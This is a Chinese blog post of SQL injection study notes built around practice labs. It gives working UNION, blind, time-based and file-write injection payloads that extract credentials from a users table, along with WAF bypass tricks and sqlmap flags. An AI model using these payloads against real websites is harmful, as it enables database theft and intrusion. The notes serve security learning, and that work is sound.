SQL注入笔记

Burp靶场SQL注入学习笔记3 本关还是需要获得users表内的账户和密码,但是变成了盲注根据提示,这题的注入点在cookie而不是在url上修改cookie的值页面正常再次修改cookie页面也正常回显,但是登录信息没了那么我们就可以根据这个welcome back来判断SQL语句是否为真既然知道了我们的目标列就是users表里的password,那么就直接爆破吧先判断密码长度使用payload在小于20时没有回显welcome back那么密码长度应该就是20爆数据,配合burp里的intruder模块。 阅读详情

SQL注入篇

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息

SQL注入之数据库概述

数据库就是一个存储数据的仓库,数据库是以一定方式存储在一起,能与多个用户共享,具有尽可能小的冗余,与应用程序彼此独立的数据集合。

关系型数据库

关系型数据库,存储的格式可以直观地反映实体间的关系,和常见的表格比较相似

关系型数据库中表与表之间有很多复杂的关联关系的

常见的关系型数据库有MySQL,Orcale,PostgreSQL , SQL Server等。

非关系型数据库

随着近些年技术方向的不断扩展,大量的NoSQL数据库如 Mon goDB,Redis出于简化数据库结构,避免冗余,影响性能的表连接。摒弃复杂分布式的目的被设计

NoSQL数据库适合追求速度和可扩展性,业务多变的场景

数据库服务的层级关系

服务器里面

:多个数据库

:多个数据表

:多个行 列 字段

: 数据

 常见的SQL语句

手工注入

注入流程

1、判断注入点

2、猜解列名数量order by

3、报错猜解,判断回显点

4、信息收集


SQL注入:

利用sql-labs靶场第一关来进行SQL数字型注入


1.判断有无注入点 and 1 = 1; true
随便输入内容 == 报错 注入
== 没有注入

2.猜解列名数量 order by %20 空格
字段 4个

3.报错,判断回显点 union


4.信息收集
数据库版本 version()
高版本:5.0
系统库: infromation 。。。
数据库名称:database()
低版本:5.0

5.使用对应SQL进行注入
数据库库名:security
. 下一级
infromation_schema.tables 查找表名
table_name
查询serurity库下面 所有的表名

database()

= 前后 连到一起
union select 1,group_concat(table_name),3 from information_schema.tables
where table_schema=database()

表: users
如何查询表里面有那些字段?
user 字符 转行 16进制
union select 1,group_concat(column_name),3 from information_schema.columns
where table_name=0x7573657273

username password 字段数据
select username,password from users
0x3a :
union select 1,2,(select group_concat(username,0x3a,password)from users)

SQL注入之文件读写

原理:就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息

条件:高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限,“secure_file_priv=”表示对文件读写没有任何设置,“secure_file_priv=NULL”表示不能对文件进行读写,“secure_file_priv=d:/phpstudy/mysql/data”类似的加上路径则代表只能在该路径下进行读写

比较常见的文件读写的地方有:

Windows: phpstudy: phpstudy/www phpstudy/PHPTutorial/www xampp: xampp/htdocs wamp: wamp/www Appser: appser/www

Linux: /var/mysql/data /var/www/html

路径获取常见方式:

报错显示,遗留文件,漏洞报错,平台配置文件等,如PHPinfo文件目录

读取文件

主要是利用函数:load_file()

写入文件

使用函数:Into Outfile(能写入多行,按格式输出,只能为单引号路径)和 into Dumpfile(只能写入一行且没有输出格式)

SQL注入基础防御

1、魔术引号

magic_quotes_gpc = “on为开启,off为关闭”

2、数据类型过滤

is_int(); addslashes(); mysql_real_escape_string(); mysql_escape_string()

3、自定义

str_replace() ;其他安全防护软件 WAF ……

SQL注入之数据类型

(1)数字型注入点

许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where id=1 and 1=1

(2)字符型注入点

网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where name='admin' and 1=1 ' 我们需要将这些烦人的引号给处理掉。

(3)搜索型注入点

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

(4)xx型注入点

其他型:也就是由于SQL语句拼接方式不同,在SQL中的实际语句为:,其本质为(xx’) or 1=1 # )常见的闭合符号:’ ” % ( {

延时注入

利用sleep()函数

验证方式:id=1 and sleep(if(database()=’test’,5,0))

原理:举例如上,当database库名=test时就会继续执行下一个,此时为5那么sleep函数就延迟5ms,此时你会看见浏览器在加载,也可以利用length函数来判断名字长度

substr()函数 Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)

Left()函数得到字符串左部指定个数的字符

Left ( string, n ) string为要截取的字符串,n为长度。

实例:select * from t1 where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=116,sleep(2),0)利用ascii码转义

bool盲注

1.** 猜解数据库的名字**

地址+/?id=1′ and ascii(mid(database(),1,1))>115–+ 非正常

地址+/?id=1” and ascii(mid(database(),1,1))>116–+ 非正常

地址+/?id=1’and ascii(mid(database(),1,1))=115–+ 正常

地址+/?id=1′ and ascii(mid(database(),2,1))=101–+ 正常

地址+/?id=1′ and ascii(mid(database(),3,1))=99–+ 正常`

原理:举例如上,利用ASCII码转义当database库名的第几个字符转义和后面相等的则会有不同的显示

加密注入

利用base64的加密方式来对关键字进行加密

堆叠注入

在SQL中,分号 ;是用来表示一条sql语句的结束,试想一下我们在 ; 结束一个sql语句后面继续构造下一个语句

而union injection(联合注入)也是将两条语句合并在一起 两者之间有什么区别?区别就在于union执行语句类型有限,可以用来执行查询语句,而堆叠注入可以执行的是任意语句

WAF绕过:

 

WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截。

1、关键字大小字符绕过

有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过

举例: union select ---> unIOn SeLEcT

2、编码绕过

针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等.

举例:union select 1,2,3# =union%0aselect 1\u002c2,3%23

3、双写绕过

部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。

举例:UNIunionON ,SELselectECT anandd

4、换行绕过

举例:select * from admin where username = \N union select 1,user() from admin

5、注释符内联注释绕过

union selecte =/*!union*/ select

注释符里感叹号后面的内容会被mysql执行。

6、同义词替换

and=&&

or=||

=(等于号)=<、>

空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等

注:%0a是换行也可以替代空格

7、HTTP参污染

对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。

举例:?id=1&id=2&id=3
?id=1/**&id=-1%20union%20select%201,2,3%23*/

WAF绕过的思路就是让WAF的检测规则,识别不到你所输入的敏感字符,利用上述所介绍的知识点,灵活结合各种方法,从而可以增加绕过WAF的可能性

order by绕过:%20///–// V4.0
联合绕过:union /!–+/%0aselect/!1,2,3/ –+
from绕过: /!06447%23%0afrom/

sqlmap常用命令

-u:用于get提交方式,后面跟注入的url网址
--level
--risk
--dbs:获取所有数据库
--tales:获取所有数据表
--columns:获取所有字段
--dump:打印数据
-D:查询选择某个库
-T:查询选择某个表
-C:查询选择某个字段
level:执行测试的等级(1~5,默认为1),使用-level参数并且数值>=2的时候会检查cookie里面的参数,
当>=3时检查user-agent和refereer
risk:执行测试的风险(0~3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,
3会增加or语句的sql注入
SQL注入个人笔记(一) SQL注入是一种常见的网络攻击技术,攻击者通过在Web应用输入参数中插入恶意SQL语句,利用应用程序对用户输入验证不严格的安全漏洞,达到非法访问、篡改或删除数据库数据的目的。主要危害包括获取敏感信息、篡改数据、获取管理员权限等。其中UNION联合注入是一种典型方式,通过合并SQL查询结果获取数据库信息。案例演示了如何通过order by测试列数、利用information_schema获取表名和字段、最终提取用户凭证等攻击过程。这突显了SQL注入的严重性和防范的必要性。 阅读详情

相关推荐

Simulink单相桥式有源逆变电路仿真:从器件选型到波形分析(MATLAB 2018a实战)

本文基于MATLAB 2018a的Simulink平台,详细演示了单相桥式有源逆变电路的完整仿真流程。从Simscape/Power Systems库的器件选型、参数配置,到触发脉冲设置与电路连接,逐步指导搭建仿真模型。通过调整触发角α,直观展示了电路从整流到有源逆变的工作状态切换,并深入分析了负载电压、电流波形,以及逆变颠覆现象的产生条件与特征。

cake8的博客 1160

SQL 注入漏洞(十三)base64注入

二、代码分析 2、查询敏感信息

不秃头的程序Yang 2188

论文解读——YOLOv11(目标检测)

YOLOv11提供了多种型号和功能,以满足不同应用场景的需求。对象检测对象检测是YOLOv11的基本功能之一。在训练时,YOLOv11能够检测图像中的对象,并输出对象的边界框和类别信息。这一功能在自动驾驶、智能安防等领域具有广泛应用。图像分割图像分割是YOLOv11的另一个重要功能。与对象检测不同,图像分割不仅检测对象的边界框,还能够对图像中的对象进行像素级别的分割。这使得YOLOv11在医疗影像分析、工业制造等领域具有更高的应用价值。姿态检测姿态检测是YOLOv11的一个独特功能。

qq_38220914的博客 4459

SQL注入新手误区

在学习渗透测试的时候,理论是一个方面,经验也很重要,有的时候,我们明明知道相关的理论,但是因为实操较少,因此不能很好的注入成功,失败的原因却往往是一些细微的小点。在这里,作为一名渗透测试的“老司机”,针对SQL注入问题,写一点自己的体会,主要是针对上述问题进行 ...

永远是少年 1012

Python模拟发送SOME/IP消息(Scapy模块)

SOMEIP提供服务、订阅、响应、通知等Python代码示例

liluo0815481的博客 3069

原形网络(Prototypical Networks)基于PyTorch的实现

我在Jay2coomzz的基础上修改了数据处理方式和evaluation_model()方法,作为初学者若有不当之处恳请大家批评指正,原文链接如下: https://blog.youkuaiyun.com/weixin_38471579/article/details/102631018 数据集和源码链接将放到评论区 文章目录1 数据集一个简单的数据集介绍数据集处理2 搭建网络CNNProtonets 1 数据集 一个简单的数据集介绍 Omniglot数据集一共包含1623 类手写体,每一类中包含20 个样本。其中.

weixin_43872532的博客 6636

SQL注入

1、SQL注入最简单的原理代码 $id=$_GET['id']; $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; ​ 注入点在于’id′,id',id′,id为接收传参的变量,基本思路是在传参中闭合前面的单引号,注释掉后面的单引号。 2、查找注入点的办法 ?id=1' #添加单引号就行传参闭合 ?id=1' [or/and] '1=2 #使用逻辑与或者逻辑或,判断where注入条件 3、常用注释符号 # --+ #URL解码后,“+”被解码为“

CDLittleBoy的博客 2460

PyQt5 + HFSS:给你的仿真脚本做个专属GUI界面(零基础搭建指南)

本文详细介绍了如何使用PyQt5为HFSS仿真脚本创建专属GUI界面,适合零基础用户快速上手。通过Python二次开发,实现参数可视化调整、进度实时监控等功能,大幅提升团队协作效率。文章涵盖环境配置、界面设计、HFSS集成到打包部署的全流程,是仿真工程师提升工作效率的实用指南。

weixin_42535720的博客 185

二、sql绕过过滤

解释:sql绕过过滤,通俗来说就是你注入的sql语句里面有一些关键词被WAF过滤掉了,你需要想一些办法进行绕过。解释:有一种内联注释注入(其只存在于mysql),其相比上面的注入更常用,其是。解释:下面是三种注释方法,常用的是前两种,其中在浏览器中注释一般用。,如果匹配成功就进行将关键词删除,我们可以构造。解释:指某些函数被过滤之后用同义函数去替代。从而实现注入(这种情况适合条件很苛刻)也可能成功绕过WAF的过滤实现注入。适用情况:WAF会进行匹配关键词如。适用情况:当WAF将如。适用情况:对例子一般。

黑日里不灭的light 1947

Python实战:动态爬取国家地表水水质实时监测数据(附最新代码解析)

本文详细介绍了使用Python动态爬取国家地表水水质实时监测数据的实战方法。针对动态网站数据加载特点,重点解析了如何利用Selenium模拟浏览器操作、结合BeautifulSoup解析数据,并提供了最新的代码实现与常见问题解决方案,帮助开发者高效获取环境监测数据。

app77的博客 280

设计原则:面向对象设计原则详解

我们在应用程序开发中,一般要求尽量两做到可维护性和可复用性。 应用程序的复用可以提高应用程序的开发效率和质量,节约开发成本,恰当的复用还可以改善系统的可维护性。而在面向对象的设计里面,可维护性复用都是以面向对象设计原则为基础的,这些设计原则首先都是复用的原则,遵循这些设计原则可以有效地提高系统的复用性,同时提高系统的可维护性。面向对象设计原则和设计模式也是对系统.........

黄规速博客:学如逆水行舟,不进则退 4万+

MySQL注入中的字符编码技巧

在Web安全领域,SQL注入是常见的攻击手段之一。通过SQL注入,攻击者可以绕过应用程序的安全机制,直接操纵数据库。然而,随着防护措施的增强,直接注入变得越来越困难,字符编码技巧因此成为攻击者绕过安全机制的重要工具。本文将介绍MySQL注入中的字符编码技巧,包括其原理、应用及防御方法。

fie8889的博客 459

DRV8311HRRWR直流无刷(BLDC)电机驱动原理图设计

DRV8311HRRWR集成三个MOSFET 半H桥,用于驱动三相无刷直流电机(BLDC),适用于5V、9V、12V或18V直流电源轨或1S至4S电池供电应用。内部集成三个具有集成电流感测功能的电流感测放大器(CSA),可感测BLDC电机的三相电流,从而实现FOC和电流控制系统设计方案。集成保护特性:VM 欠压锁定 (UVLO)、 电荷泵欠压 (CPUV)、过流保护 (OCP)、热警告和热关断 (OTW/OTSD)、故障条件指示引脚 (nFAULT)支持 1.8V、3.3V 和 5V 逻辑输入。

zhusl6688的博客 1228

sql注入学习小笔记

SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。那什么是SQL?结构化查询语言(Structured Query Language,缩写:SQL),是一种关系型数据库查询的标准编程语言,用于存取数据以及查询、更新、删除和管理关系型数据库(即SQL是一种数据库查询语言)mysql union 用于把来自多个select 语句的结果组合到一个结果集合中。

2401_88818565的博客 690

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

对于sql注入的学习笔记

sql注入是一种常见的web安全攻击手法,简单点说就是找到一个注入点,将恶意的代码或者指令插入到请求中,绕过前端和后端的限制和过滤执行该代码,达到命令执行和数据外带的结果。(把数据作为代码执行)

2301_78160233的博客 1831

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

CTF SQL注入学习笔记

部分内容来自于SQL注入由简入精_哔哩哔哩_bilibili1.mysqli_error():返回最近调用函数的最后一个错误描述语法:mysqli_error(connection) 规定要使用的Mysql连接; 返回一个带有错误描述的字符串。如果没有错误发生则返回 ""2.mysqli_errno() :函数返回最近调用函数的最后一个错误代码。语法:mysqli_errno(connection);返回错误代码值。如果没有错误发生则返回 0。3.mysqli_fetch_array():从结果集中取得一行

2401_86190146的博客 1342

sql注入学习笔记

数据库:保证数据的持久化储存、高效管理、数据共享,在后台访问之类的。

2302_79343048的博客 603

面试笔记1--SQL注入

本系列文章记录了博主的网络安全面试复习笔记。【CTF】二次注入原理及实战-优快云博客二次注入是指已存储的用户输入被读取后再次进入到SQL查询语句中导致的注入。二次注入是SQL注入的一种,但是比普通SQL注入利用更加困难,利用门槛更高。普通注入数据直接进入到SQL查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到SQL查询。以上为博主的面试笔记整理。

打怪兽的博客 889

SQL注入入门笔记

参考地址:https://www.sqlsec.com/2020/11/mysql.html、报错显示 遗留文件 漏洞报错 平台配置文件 爆破…魔术引号过滤时优先尝试编码绕过。文件写入路径必须使用。(Windows)或。

q2060951710的博客 376

sql注入--入门笔记1

sql注入--入门笔记1

zzhi_spirit的博客 882

sql注入学习笔记,sql-labs第二关学习思路及笔记

这是我在学习sql注入中记下来的笔记,在此和大家进行分享希望能帮到大家,笔记中所用到的环境是sql-labs的第二关,前面是前置基础学习的要求,手工注入时正式开始。sql-labs靶场环境搭建sql条件查询:where 条件如:select * from t1 where id=1(从t1表中查询id=1的所有信息)使用union合并查询例题:查询t1表中id=2 pass=111的信息前面的查询语句和后面的查询语句结果互不干扰!使用union合并查询时,

2401_82733577的博客 935

burpLab——sql注入学习笔记

为了加深对sql注入的实战理解,这里我对burp官方的sql注入靶场做了一次全通关解析,针对备忘录清单也重点截取了上来,希望这篇sql注入学习笔记能对你有所帮助。

2201_75353421的博客 660

SQL注入个人笔记(二)

本文介绍了两种SQL注入的暴力破解方法(布尔盲注和时间盲注)及其对应的工具使用。主要内容包括:1. 工具安装指南:详细介绍了Yakit、Burpsuite和SqlMap三款工具的下载安装方法;2. 布尔盲注原理及实操:通过页面响应差异判断注入结果,演示了使用Burpsuite和Yakit进行字典暴力注入;3. 时间盲注技术:利用响应时间延迟判断注入结果,包括编码盲注和时间盲注的具体实现方法;4. 工具使用技巧:重点讲解了Burpsuite的Intruder模块和Yakit的WebFuzzer功能在注入攻击中

2503_90802500的博客 1285

pikachu靶场通关笔记27 SQL注入10-宽字节注入

本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关)渗透集合,通过对宽字节注入关卡源码的代码审计找到SQL注入安全风险的真实原因,讲解宽字节注入的原理并进行渗透实践,本文为SQL注入10之宽字节注入卡的渗透部分。

mooyuan的网络安全博客 1817

Burp靶场sql注入学习笔记1

网页提示网站的sql语句是这样找到注入点为url根据给的查询语句构造payload完成题目需要找到未上架商品或者使用payload也可以找到所有商品包括未上架的。

Tonight_Fantasy的博客 983
上一篇: [SWPUCTF 2021 新生赛]jicao
下一篇: ARP渗透和防御
BRMTSW
博客等级 码龄5年 11粉丝 15原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值